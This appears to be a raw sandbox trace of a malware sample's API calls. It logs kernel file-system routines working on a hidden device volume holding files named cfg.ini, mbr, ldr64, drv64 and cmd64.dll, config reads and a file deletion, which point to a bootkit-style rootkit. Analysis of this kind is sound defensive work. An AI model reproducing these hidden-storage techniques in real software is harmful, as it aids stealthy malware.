0xfffffa80039d7d20 [0120.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.666] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.666] IdePortDispatch () returned 0x103 [0120.666] KeWaitForMutexObject () returned 0x0 [0120.666] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.666] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.666] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.666] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.666] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.666] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba0b0 [0120.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.666] KeLeaveCriticalRegion () [0120.666] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.666] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.666] KeEnterCriticalRegion () [0120.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.666] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.666] KeLeaveCriticalRegion () [0120.666] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.667] KeEnterCriticalRegion () [0120.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.667] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.667] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.667] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.667] IdePortDispatch () returned 0x103 [0120.667] KeWaitForMutexObject () returned 0x0 [0120.667] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.667] KeLeaveCriticalRegion () [0120.667] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.667] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.667] KeEnterCriticalRegion () [0120.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.667] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bb000 [0120.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.667] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.667] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.667] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.667] IdePortDispatch () returned 0x103 [0120.667] KeWaitForMutexObject () returned 0x0 [0120.667] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.667] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.667] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.667] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.667] IdePortDispatch () returned 0x103 [0120.667] KeWaitForMutexObject () returned 0x0 [0120.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.668] KeLeaveCriticalRegion () [0120.668] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.668] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.668] KeEnterCriticalRegion () [0120.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.668] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.668] KeLeaveCriticalRegion () [0120.668] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.668] KeEnterCriticalRegion () [0120.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.668] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.668] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbbdd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.668] KeLeaveCriticalRegion () [0120.668] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.668] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.668] KeEnterCriticalRegion () [0120.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.668] ExFreePoolWithTag (P=0xfffffa8003bba0b0, Tag=0x0) [0120.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.668] KeLeaveCriticalRegion () [0120.668] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.669] ReleaseMutex (hMutex=0xf0) returned 1 [0120.669] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.669] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.669] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.669] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.669] KeEnterCriticalRegion () [0120.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.669] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.669] IdePortDispatch () returned 0x103 [0120.669] KeWaitForMutexObject () returned 0x0 [0120.669] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.669] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.669] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.669] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.669] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.669] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.669] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.669] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.669] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.669] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.669] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.669] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.669] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.669] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.669] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.669] KeLeaveCriticalRegion () [0120.669] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.669] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.669] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.669] KeEnterCriticalRegion () [0120.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.670] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.670] IdePortDispatch () returned 0x103 [0120.670] KeWaitForMutexObject () returned 0x0 [0120.670] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.670] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.670] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.670] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.670] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.670] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.670] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.670] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.670] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.670] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.670] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.670] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.670] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.670] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.670] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.670] KeLeaveCriticalRegion () [0120.670] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.670] ReleaseMutex (hMutex=0x100) returned 1 [0120.670] Sleep (dwMilliseconds=0x2bf20) [0120.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b20a4d0, dwHighDateTime=0x1d24fa4)) [0120.676] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.676] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.677] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.677] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.677] KeEnterCriticalRegion () [0120.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.677] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.677] IdePortDispatch () returned 0x103 [0120.677] KeWaitForMutexObject () returned 0x0 [0120.677] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.677] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.677] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.677] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.677] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.677] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb6a0 [0120.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.677] KeLeaveCriticalRegion () [0120.677] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.677] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.677] KeEnterCriticalRegion () [0120.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.677] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.677] KeLeaveCriticalRegion () [0120.677] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.677] KeEnterCriticalRegion () [0120.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.677] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.677] IdePortDispatch () returned 0x103 [0120.677] KeWaitForMutexObject () returned 0x0 [0120.678] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.678] KeLeaveCriticalRegion () [0120.678] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.678] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.678] KeEnterCriticalRegion () [0120.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.678] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034be000 [0120.678] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.678] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.678] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.678] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.678] IdePortDispatch () returned 0x103 [0120.678] KeWaitForMutexObject () returned 0x0 [0120.678] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.678] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.678] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.678] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.678] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.678] IdePortDispatch () returned 0x103 [0120.678] KeWaitForMutexObject () returned 0x0 [0120.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.678] KeLeaveCriticalRegion () [0120.678] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.679] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.679] KeEnterCriticalRegion () [0120.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.679] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.679] KeLeaveCriticalRegion () [0120.679] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.679] KeEnterCriticalRegion () [0120.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.679] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.679] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbb070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.679] KeLeaveCriticalRegion () [0120.679] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.679] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.679] KeEnterCriticalRegion () [0120.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.679] ExFreePoolWithTag (P=0xfffffa8003bbb6a0, Tag=0x0) [0120.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.679] KeLeaveCriticalRegion () [0120.679] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.679] ReleaseMutex (hMutex=0xf0) returned 1 [0120.679] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.679] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.679] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.680] KeEnterCriticalRegion () [0120.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.680] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.680] IdePortDispatch () returned 0x103 [0120.680] KeWaitForMutexObject () returned 0x0 [0120.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.680] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.680] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.680] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.680] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.680] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb2f0 [0120.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.680] KeLeaveCriticalRegion () [0120.680] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.680] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.680] KeEnterCriticalRegion () [0120.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.680] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.680] KeLeaveCriticalRegion () [0120.680] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.680] KeEnterCriticalRegion () [0120.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.680] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.680] IdePortDispatch () returned 0x103 [0120.680] KeWaitForMutexObject () returned 0x0 [0120.681] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.681] KeLeaveCriticalRegion () [0120.681] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.681] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.681] KeEnterCriticalRegion () [0120.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.681] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bf000 [0120.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.681] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.681] IdePortDispatch () returned 0x103 [0120.681] KeWaitForMutexObject () returned 0x0 [0120.681] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) 